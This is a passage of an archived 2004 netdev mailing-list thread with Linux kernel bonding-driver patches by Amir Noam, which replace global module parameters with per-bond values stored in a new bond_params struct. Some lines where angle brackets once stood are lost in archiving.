bond_change_mtu; bond_dev->set_mac_address = bond_set_mac_address; - switch (bond_mode) { - case BOND_MODE_ROUNDROBIN: - bond_dev->hard_start_xmit = bond_xmit_roundrobin; - break; - case BOND_MODE_ACTIVEBACKUP: - bond_dev->hard_start_xmit = bond_xmit_activebackup; - break; - case BOND_MODE_XOR: - bond_dev->hard_start_xmit = bond_xmit_xor; - break; - case BOND_MODE_BROADCAST: - bond_dev->hard_start_xmit = bond_xmit_broadcast; - break; - case BOND_MODE_8023AD: - bond_dev->hard_start_xmit = bond_3ad_xmit_xor; /* extern */ - break; - case BOND_MODE_TLB: - case BOND_MODE_ALB: - bond_dev->hard_start_xmit = bond_alb_xmit; /* extern */ - bond_dev->set_mac_address = bond_alb_set_mac_address; /* extern */ - break; - default: - printk(KERN_ERR DRV_NAME - ": Error: Unknown bonding mode %d\n", - bond_mode); - return -EINVAL; - } + bond_set_mode_ops(bond_dev, bond->params.mode); #ifdef CONFIG_NET_FASTROUTE bond_dev->accept_fastpath = bond_accept_fastpath; @@ -3821,27 +3834,6 @@ static int __init bond_init(struct net_d bond_dev->tx_queue_len = 0; bond_dev->flags |= IFF_MASTER|IFF_MULTICAST; - printk(KERN_INFO DRV_NAME ": %s registered with", bond_dev->name); - if (miimon) { - printk(" MII link monitoring set to %d ms", miimon); - updelay /= miimon; - downdelay /= miimon; - } else { - printk("out MII link monitoring"); - } - printk(", in %s mode.\n", bond_mode_name()); - - printk(KERN_INFO DRV_NAME ": %s registered with", bond_dev->name); - if (arp_interval > 0) { - printk(" ARP monitoring set to %d ms with %d target(s):", - arp_interval, arp_ip_count); - for (count=0 ; countmode = bond_mode; + params->miimon = miimon; + params->arp_interval = arp_interval; + params->updelay = updelay; + params->downdelay = downdelay; + params->use_carrier = use_carrier; + params->lacp_fast = lacp_fast; + params->primary[0] = 0; + + if (primary) { + strncpy(params->primary, primary, IFNAMSIZ); + params->primary[IFNAMSIZ - 1] = 0; + } + + memcpy(params->arp_targets, arp_target, sizeof(arp_target)); + return 0; } static int __init bonding_init(void) { + struct bond_params params; int i; int res; printk(KERN_INFO "%s", version); - res = bond_check_params(); + res = bond_check_params(¶ms); if (res) { return res; } @@ -4158,7 +4182,7 @@ static int __init bonding_init(void) * /proc files), but before register_netdevice(), because we * need to set function pointers. */ - res = bond_init(bond_dev); + res = bond_init(bond_dev, ¶ms); if (res < 0) { free_netdev(bond_dev); goto out_err; diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Mon Jan 5 17:05:01 2004 +++ b/drivers/net/bonding/bonding.h Mon Jan 5 17:05:02 2004 @@ -36,11 +36,13 @@ #include "bond_3ad.h" #include "bond_alb.h" -#define DRV_VERSION "2.5.3" +#define DRV_VERSION "2.5.4" #define DRV_RELDATE "December 30, 2003" #define DRV_NAME "bonding" #define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" +#define BOND_MAX_ARP_TARGETS 16 + #ifdef BONDING_DEBUG #define dprintk(fmt, args...) \ printk(KERN_DEBUG \ @@ -133,6 +135,18 @@ bond_for_each_slave_from(bond, pos, cnt, (bond)->first_slave) +struct bond_params { + int mode; + int miimon; + int arp_interval; + int use_carrier; + int updelay; + int downdelay; + int lacp_fast; + char primary[IFNAMSIZ]; + u32 arp_targets[BOND_MAX_ARP_TARGETS]; +}; + struct slave { struct net_device *dev; /* first - usefull for panic debug */ struct slave *next; @@ -181,6 +195,7 @@ struct bonding { u16 flags; struct ad_bond_info ad_info; struct alb_bond_info alb_info; + struct bond_params params; }; /** From amir.noam@intel.com Mon Jan 5 07:28:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 07:28:19 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05FS3Ta022198 for ; Mon, 5 Jan 2004 07:28:04 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i05FRniI019159; Mon, 5 Jan 2004 15:27:49 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i05FRFx4008811; Mon, 5 Jan 2004 15:27:48 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010517274724296 ; Mon, 05 Jan 2004 17:27:47 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i05FRlhb001081; Mon, 5 Jan 2004 17:27:48 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 2/3] [bonding 2.4] Use the per-bond value of the bond_mode parameter Date: Mon, 5 Jan 2004 17:27:46 +0200 User-Agent: KMail/1.5.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401051727.47839.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2215 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Change usage of the global 'bond_mode' parameter to the per-bond value. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Mon Jan 5 17:05:04 2004 +++ b/drivers/net/bonding/bond_main.c Mon Jan 5 17:05:06 2004 @@ -595,9 +595,9 @@ static inline void bond_set_mode_ops(str /*---------------------------- General routines -----------------------------*/ -static const char *bond_mode_name(void) +static const char *bond_mode_name(int mode) { - switch (bond_mode) { + switch (mode) { case BOND_MODE_ROUNDROBIN : return "load balancing (round-robin)"; case BOND_MODE_ACTIVEBACKUP : @@ -803,7 +803,7 @@ static struct dev_mc_list *bond_mc_list_ */ static void bond_set_promiscuity(struct bonding *bond, int inc) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { /* write lock already acquired */ if (bond->curr_active_slave) { dev_set_promiscuity(bond->curr_active_slave->dev, inc); @@ -822,7 +822,7 @@ static void bond_set_promiscuity(struct */ static void bond_set_allmulti(struct bonding *bond, int inc) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { /* write lock already acquired */ if (bond->curr_active_slave) { dev_set_allmulti(bond->curr_active_slave->dev, inc); @@ -842,7 +842,7 @@ static void bond_set_allmulti(struct bon */ static void bond_mc_add(struct bonding *bond, void *addr, int alen) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { /* write lock already acquired */ if (bond->curr_active_slave) { dev_mc_add(bond->curr_active_slave->dev, addr, alen, 0); @@ -862,7 +862,7 @@ static void bond_mc_add(struct bonding * */ static void bond_mc_delete(struct bonding *bond, void *addr, int alen) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { /* write lock already acquired */ if (bond->curr_active_slave) { dev_mc_delete(bond->curr_active_slave->dev, addr, alen, 0); @@ -922,13 +922,14 @@ static int bond_mc_list_copy(struct dev_ */ static void bond_mc_list_flush(struct net_device *bond_dev, struct net_device *slave_dev) { + struct bonding *bond = bond_dev->priv; struct dev_mc_list *dmi; for (dmi = bond_dev->mc_list; dmi; dmi = dmi->next) { dev_mc_delete(slave_dev, dmi->dmi_addr, dmi->dmi_addrlen, 0); } - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* del lacpdu mc addr from mc list */ u8 lacpdu_multicast[ETH_ALEN] = MULTICAST_LACPDU_ADDR; @@ -947,7 +948,7 @@ static void bond_mc_swap(struct bonding { struct dev_mc_list *dmi; - if (!USES_PRIMARY(bond_mode)) { + if (!USES_PRIMARY(bond->params.mode)) { /* nothing to do - mc list is already up-to-date on * all slaves */ @@ -1064,7 +1065,7 @@ static void bond_change_active_slave(str if (new_active) { if (new_active->link == BOND_LINK_BACK) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { printk(KERN_INFO DRV_NAME ": %s: making interface %s the new " "active one %d ms earlier.\n", @@ -1076,16 +1077,16 @@ static void bond_change_active_slave(str new_active->link = BOND_LINK_UP; new_active->jiffies = jiffies; - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { bond_3ad_handle_link_change(new_active, BOND_LINK_UP); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { bond_alb_handle_link_change(bond, new_active, BOND_LINK_UP); } } else { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { printk(KERN_INFO DRV_NAME ": %s: making interface %s the new " "active one.\n", @@ -1094,7 +1095,7 @@ static void bond_change_active_slave(str } } - if (bond_mode == BOND_MODE_ACTIVEBACKUP) { + if (bond->params.mode == BOND_MODE_ACTIVEBACKUP) { if (old_active) { bond_set_slave_inactive_flags(old_active); } @@ -1104,12 +1105,12 @@ static void bond_change_active_slave(str } } - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { bond_mc_swap(bond, new_active, old_active); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { bond_alb_handle_active_change(bond, new_active); } else { bond->curr_active_slave = new_active; @@ -1264,13 +1265,13 @@ static int bond_enslave(struct net_devic return -EINVAL; } - if ((bond_mode == BOND_MODE_8023AD) || - (bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_8023AD) || + (bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { printk(KERN_ERR DRV_NAME ": Error: to use %s mode, you must upgrade " "ifenslave.\n", - bond_mode_name()); + bond_mode_name(bond->params.mode)); return -EOPNOTSUPP; } } @@ -1326,8 +1327,8 @@ static int bond_enslave(struct net_devic new_slave->dev = slave_dev; - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { /* bond_alb_init_slave() must be called before all other stages since * it might fail and we do not want to have to undo everything */ @@ -1342,7 +1343,7 @@ static int bond_enslave(struct net_devic * curr_active_slave, and that is taken care of later when calling * bond_change_active() */ - if (!USES_PRIMARY(bond_mode)) { + if (!USES_PRIMARY(bond->params.mode)) { /* set promiscuity level to new slave */ if (bond_dev->flags & IFF_PROMISC) { dev_set_promiscuity(slave_dev, 1); @@ -1359,7 +1360,7 @@ static int bond_enslave(struct net_devic } } - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* add lacpdu mc addr to mc list */ u8 lacpdu_multicast[ETH_ALEN] = MULTICAST_LACPDU_ADDR; @@ -1432,7 +1433,7 @@ static int bond_enslave(struct net_devic "forced to 100Mbps, duplex forced to Full.\n", new_slave->dev->name); - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { printk(KERN_WARNING "Operation of 802.3ad mode requires ETHTOOL " "support in base driver for proper aggregator " @@ -1440,14 +1441,14 @@ static int bond_enslave(struct net_devic } } - if (USES_PRIMARY(bond_mode) && primary) { + if (USES_PRIMARY(bond->params.mode) && primary) { /* if there is a primary slave, remember it */ if (strcmp(primary, new_slave->dev->name) == 0) { bond->primary_slave = new_slave; } } - switch (bond_mode) { + switch (bond->params.mode) { case BOND_MODE_ACTIVEBACKUP: /* if we're in active-backup mode, we need one and only one active * interface. The backup interfaces will have their NOARP flag set @@ -1637,7 +1638,7 @@ static int bond_release(struct net_devic } /* Inform AD package of unbinding of slave. */ - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* must be called before the slave is * detached from the list */ @@ -1666,8 +1667,8 @@ static int bond_release(struct net_devic bond_change_active_slave(bond, NULL); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { /* Must be called only after the slave has been * detached from the list and the curr_active_slave * has been cleared (if our_slave == old_current), @@ -1693,7 +1694,7 @@ static int bond_release(struct net_devic * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave */ - if (!USES_PRIMARY(bond_mode)) { + if (!USES_PRIMARY(bond->params.mode)) { /* unset promiscuity level from slave */ if (bond_dev->flags & IFF_PROMISC) { dev_set_promiscuity(slave_dev, -1); @@ -1765,15 +1766,15 @@ static int bond_release_all(struct net_d /* Inform AD package of unbinding of slave * before slave is detached from the list. */ - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { bond_3ad_unbind_slave(slave); } slave_dev = slave->dev; bond_detach_slave(bond, slave); - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { /* must be called only after the slave * has been detached from the list */ @@ -1790,7 +1791,7 @@ static int bond_release_all(struct net_d * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave */ - if (!USES_PRIMARY(bond_mode)) { + if (!USES_PRIMARY(bond->params.mode)) { /* unset promiscuity level from slave */ if (bond_dev->flags & IFF_PROMISC) { dev_set_promiscuity(slave_dev, -1); @@ -1864,6 +1865,10 @@ static int bond_ioctl_change_active(stru struct slave *new_active = NULL; int res = 0; + if (!USES_PRIMARY(bond->params.mode)) { + return -EINVAL; + } + /* Verify that master_dev is indeed the master of slave_dev */ if (!(slave_dev->flags & IFF_SLAVE) || (slave_dev->master != bond_dev)) { @@ -1952,7 +1957,7 @@ static int bond_info_query(struct net_de { struct bonding *bond = bond_dev->priv; - info->bond_mode = bond_mode; + info->bond_mode = bond->params.mode; info->miimon = miimon; read_lock_bh(&bond->lock); @@ -2054,7 +2059,7 @@ static void bond_mii_monitor(struct net_ "%d ms.\n", bond_dev->name, IS_UP(slave_dev) - ? ((bond_mode == BOND_MODE_ACTIVEBACKUP) + ? ((bond->params.mode == BOND_MODE_ACTIVEBACKUP) ? ((slave == oldcurrent) ? "active " : "backup ") : "") @@ -2076,8 +2081,8 @@ static void bond_mii_monitor(struct net_ /* in active/backup mode, we must * completely disable this interface */ - if ((bond_mode == BOND_MODE_ACTIVEBACKUP) || - (bond_mode == BOND_MODE_8023AD)) { + if ((bond->params.mode == BOND_MODE_ACTIVEBACKUP) || + (bond->params.mode == BOND_MODE_8023AD)) { bond_set_slave_inactive_flags(slave); } @@ -2089,12 +2094,12 @@ static void bond_mii_monitor(struct net_ slave_dev->name); /* notify ad that the link status has changed */ - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { bond_3ad_handle_link_change(slave, BOND_LINK_DOWN); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { bond_alb_handle_link_change(bond, slave, BOND_LINK_DOWN); } @@ -2157,10 +2162,10 @@ static void bond_mii_monitor(struct net_ slave->link = BOND_LINK_UP; slave->jiffies = jiffies; - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* prevent it from being the active one */ slave->state = BOND_STATE_BACKUP; - } else if (bond_mode != BOND_MODE_ACTIVEBACKUP) { + } else if (bond->params.mode != BOND_MODE_ACTIVEBACKUP) { /* make it immediately active */ slave->state = BOND_STATE_ACTIVE; } else if (slave != bond->primary_slave) { @@ -2175,12 +2180,12 @@ static void bond_mii_monitor(struct net_ slave_dev->name); /* notify ad that the link status has changed */ - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { bond_3ad_handle_link_change(slave, BOND_LINK_UP); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { bond_alb_handle_link_change(bond, slave, BOND_LINK_UP); } @@ -2202,7 +2207,7 @@ static void bond_mii_monitor(struct net_ bond_update_speed_duplex(slave); - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { if (old_speed != slave->speed) { bond_3ad_adapter_speed_changed(slave); } @@ -2665,17 +2670,19 @@ static void bond_info_seq_stop(struct se read_unlock(&dev_base_lock); } -static void bond_info_show_master(struct seq_file *seq, struct bonding *bond) +static void bond_info_show_master(struct seq_file *seq) { + struct bonding *bond = seq->private; struct slave *curr; read_lock(&bond->curr_slave_lock); curr = bond->curr_active_slave; read_unlock(&bond->curr_slave_lock); - seq_printf(seq, "Bonding Mode: %s\n", bond_mode_name()); + seq_printf(seq, "Bonding Mode: %s\n", + bond_mode_name(bond->params.mode)); - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { if (curr) { seq_printf(seq, "Currently Active Slave: %s\n", @@ -2688,7 +2695,7 @@ static void bond_info_show_master(struct seq_printf(seq, "Up Delay (ms): %d\n", updelay * miimon); seq_printf(seq, "Down Delay (ms): %d\n", downdelay * miimon); - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { struct ad_info ad_info; seq_puts(seq, "\n802.3ad info\n"); @@ -2720,6 +2727,8 @@ static void bond_info_show_master(struct static void bond_info_show_slave(struct seq_file *seq, const struct slave *slave) { + struct bonding *bond = seq->private; + seq_printf(seq, "\nSlave Interface: %s\n", slave->dev->name); seq_printf(seq, "MII Status: %s\n", (slave->link == BOND_LINK_UP) ? "up" : "down"); @@ -2737,7 +2746,7 @@ static void bond_info_show_slave(struct slave->perm_hwaddr[5]); } - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { const struct aggregator *agg = SLAVE_AD_INFO(slave).port.aggregator; @@ -2754,7 +2763,7 @@ static int bond_info_seq_show(struct seq { if (v == SEQ_START_TOKEN) { seq_printf(seq, "%s\n", version); - bond_info_show_master(seq, seq->private); + bond_info_show_master(seq); } else { bond_info_show_slave(seq, v); } @@ -3030,14 +3039,14 @@ static int bond_open(struct net_device * bond->kill_timers = 0; - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { struct timer_list *alb_timer = &(BOND_ALB_INFO(bond).alb_timer); /* bond_alb_initialize must be called before the timer * is started. */ - if (bond_alb_initialize(bond, (bond_mode == BOND_MODE_ALB))) { + if (bond_alb_initialize(bond, (bond->params.mode == BOND_MODE_ALB))) { /* something went wrong - fail the open operation */ return -1; } @@ -3061,7 +3070,7 @@ static int bond_open(struct net_device * init_timer(arp_timer); arp_timer->expires = jiffies + 1; arp_timer->data = (unsigned long)bond_dev; - if (bond_mode == BOND_MODE_ACTIVEBACKUP) { + if (bond->params.mode == BOND_MODE_ACTIVEBACKUP) { arp_timer->function = (void *)&bond_activebackup_arp_mon; } else { arp_timer->function = (void *)&bond_loadbalance_arp_mon; @@ -3069,7 +3078,7 @@ static int bond_open(struct net_device * add_timer(arp_timer); } - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { struct timer_list *ad_timer = &(BOND_AD_INFO(bond).ad_timer); init_timer(ad_timer); ad_timer->expires = jiffies + 1; @@ -3092,7 +3101,7 @@ static int bond_close(struct net_device bond_mc_list_destroy(bond); - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* Unregister the receive of LACPDUs */ bond_unregister_lacpdu(bond); } @@ -3114,7 +3123,7 @@ static int bond_close(struct net_device del_timer_sync(&bond->arp_timer); } - switch (bond_mode) { + switch (bond->params.mode) { case BOND_MODE_8023AD: del_timer_sync(&(BOND_AD_INFO(bond).ad_timer)); break; @@ -3129,8 +3138,8 @@ static int bond_close(struct net_device /* Release the bonded slaves */ bond_release_all(bond_dev); - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { /* Must be called only after all * slaves have been released */ @@ -3310,11 +3319,7 @@ static int bond_do_ioctl(struct net_devi break; case BOND_CHANGE_ACTIVE_OLD: case SIOCBONDCHANGEACTIVE: - if (USES_PRIMARY(bond_mode)) { - res = bond_ioctl_change_active(bond_dev, slave_dev); - } else { - res = -EINVAL; - } + res = bond_ioctl_change_active(bond_dev, slave_dev); break; default: res = -EOPNOTSUPP; @@ -3919,7 +3924,7 @@ static int bond_check_params(struct bond if (bond_mode != BOND_MODE_8023AD) { printk(KERN_INFO DRV_NAME ": lacp_rate param is irrelevant in mode %s\n", - bond_mode_name()); + bond_mode_name(bond_mode)); } else { lacp_fast = bond_parse_parm(lacp_rate, bond_lacp_tbl); if (lacp_fast == -1) { @@ -4120,7 +4125,7 @@ static int bond_check_params(struct bond printk(KERN_WARNING DRV_NAME ": Warning: %s primary device specified but has no " "effect in %s mode\n", - primary, bond_mode_name()); + primary, bond_mode_name(bond_mode)); primary = NULL; } From amir.noam@intel.com Mon Jan 5 07:29:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 07:29:14 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05FSvTa022693 for ; Mon, 5 Jan 2004 07:28:58 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i05FShiI019235; Mon, 5 Jan 2004 15:28:43 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i05FShwi008925; Mon, 5 Jan 2004 15:28:43 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010517284124329 ; Mon, 05 Jan 2004 17:28:41 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i05FSghb001106; Mon, 5 Jan 2004 17:28:42 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 3/3] [bonding 2.4] Use the per-bond values of all remaining parameters Date: Mon, 5 Jan 2004 17:28:41 +0200 User-Agent: KMail/1.5.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401051728.42301.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2216 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Change usage of the all remaining global parameters to the per-bond values. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Mon Jan 5 17:05:08 2004 +++ b/drivers/net/bonding/bond_main.c Mon Jan 5 17:05:10 2004 @@ -458,6 +458,9 @@ * - Fixed: Releasing the original active slave causes mac address duplication. * - Add support for slaves that use ethtool_ops. * Set version to 2.5.3. + * + * 2004/01/05 - Amir Noam + * - Save bonding parameters per bond instead of using the global values. */ //#define BONDING_DEBUG 1 @@ -699,14 +702,14 @@ verify: * It'd be nice if there was a good way to tell if a driver supports * netif_carrier, but there really isn't. */ -static int bond_check_dev_link(struct net_device *slave_dev, int reporting) +static int bond_check_dev_link(struct bonding *bond, struct net_device *slave_dev, int reporting) { static int (* ioctl)(struct net_device *, struct ifreq *, int); struct ifreq ifr; struct mii_ioctl_data *mii; struct ethtool_value etool; - if (use_carrier) { + if (bond->params.use_carrier) { return netif_carrier_ok(slave_dev) ? BMSR_LSTATUS : 0; } @@ -994,7 +997,7 @@ static struct slave *bond_find_best_slav { struct slave *new_active, *old_active; struct slave *bestslave = NULL; - int mintime; + int mintime = bond->params.updelay; int i; new_active = old_active = bond->curr_active_slave; @@ -1007,15 +1010,13 @@ static struct slave *bond_find_best_slav } } - mintime = updelay; - /* first try the primary link; if arping, a link must tx/rx traffic * before it can be considered the curr_active_slave - also, we would skip * slaves between the curr_active_slave and primary_slave that may be up * and able to arp */ if ((bond->primary_slave) && - (!arp_interval) && + (!bond->params.arp_interval) && (IS_UP(bond->primary_slave->dev))) { new_active = bond->primary_slave; } @@ -1070,7 +1071,7 @@ static void bond_change_active_slave(str ": %s: making interface %s the new " "active one %d ms earlier.\n", bond->dev->name, new_active->dev->name, - (updelay - new_active->delay) * miimon); + (bond->params.updelay - new_active->delay) * bond->params.miimon); } new_active->delay = 0; @@ -1374,10 +1375,10 @@ static int bond_enslave(struct net_devic new_slave->delay = 0; new_slave->link_failure_count = 0; - if (miimon && !use_carrier) { - link_reporting = bond_check_dev_link(slave_dev, 1); + if (bond->params.miimon && !bond->params.use_carrier) { + link_reporting = bond_check_dev_link(bond, slave_dev, 1); - if ((link_reporting == -1) && !arp_interval) { + if ((link_reporting == -1) && !bond->params.arp_interval) { /* * miimon is set but a bonded network driver * does not support ETHTOOL/MII and @@ -1407,13 +1408,13 @@ static int bond_enslave(struct net_devic } /* check for initial state */ - if (!miimon || - (bond_check_dev_link(slave_dev, 0) == BMSR_LSTATUS)) { - if (updelay) { + if (!bond->params.miimon || + (bond_check_dev_link(bond, slave_dev, 0) == BMSR_LSTATUS)) { + if (bond->params.updelay) { dprintk("Initial state of slave_dev is " "BOND_LINK_BACK\n"); new_slave->link = BOND_LINK_BACK; - new_slave->delay = updelay; + new_slave->delay = bond->params.updelay; } else { dprintk("Initial state of slave_dev is " "BOND_LINK_UP\n"); @@ -1441,9 +1442,9 @@ static int bond_enslave(struct net_devic } } - if (USES_PRIMARY(bond->params.mode) && primary) { + if (USES_PRIMARY(bond->params.mode) && bond->params.primary[0]) { /* if there is a primary slave, remember it */ - if (strcmp(primary, new_slave->dev->name) == 0) { + if (strcmp(bond->params.primary, new_slave->dev->name) == 0) { bond->primary_slave = new_slave; } } @@ -1482,7 +1483,7 @@ static int bond_enslave(struct net_devic * can be called only after the mac address of the bond is set */ bond_3ad_initialize(bond, 1000/AD_TIMER_INTERVAL, - lacp_fast); + bond->params.lacp_fast); } else { SLAVE_AD_INFO(new_slave).id = SLAVE_AD_INFO(new_slave->prev).id + 1; @@ -1958,7 +1959,7 @@ static int bond_info_query(struct net_de struct bonding *bond = bond_dev->priv; info->bond_mode = bond->params.mode; - info->miimon = miimon; + info->miimon = bond->params.miimon; read_lock_bh(&bond->lock); info->num_slaves = bond->slave_cnt; @@ -2008,11 +2009,13 @@ static void bond_mii_monitor(struct net_ struct bonding *bond = bond_dev->priv; struct slave *slave, *oldcurrent; int do_failover = 0; - int delta_in_ticks = (miimon * HZ) / 1000; + int delta_in_ticks; int i; read_lock(&bond->lock); + delta_in_ticks = (bond->params.miimon * HZ) / 1000; + if (bond->kill_timers) { goto out; } @@ -2037,7 +2040,7 @@ static void bond_mii_monitor(struct net_ u16 old_speed = slave->speed; u8 old_duplex = slave->duplex; - link_state = bond_check_dev_link(slave_dev, 0); + link_state = bond_check_dev_link(bond, slave_dev, 0); switch (slave->link) { case BOND_LINK_UP: /* the link was up */ @@ -2046,13 +2049,13 @@ static void bond_mii_monitor(struct net_ break; } else { /* link going down */ slave->link = BOND_LINK_FAIL; - slave->delay = downdelay; + slave->delay = bond->params.downdelay; if (slave->link_failure_count < UINT_MAX) { slave->link_failure_count++; } - if (downdelay) { + if (bond->params.downdelay) { printk(KERN_INFO DRV_NAME ": %s: link status down for %s " "interface %s, disabling it in " @@ -2065,7 +2068,7 @@ static void bond_mii_monitor(struct net_ : "") : "idle ", slave_dev->name, - downdelay * miimon); + bond->params.downdelay * bond->params.miimon); } } /* no break ! fall through the BOND_LINK_FAIL test to @@ -2117,7 +2120,7 @@ static void bond_mii_monitor(struct net_ ": %s: link status up again after %d " "ms for interface %s.\n", bond_dev->name, - (downdelay - slave->delay) * miimon, + (bond->params.downdelay - slave->delay) * bond->params.miimon, slave_dev->name); } break; @@ -2127,9 +2130,9 @@ static void bond_mii_monitor(struct net_ break; } else { /* link going up */ slave->link = BOND_LINK_BACK; - slave->delay = updelay; + slave->delay = bond->params.updelay; - if (updelay) { + if (bond->params.updelay) { 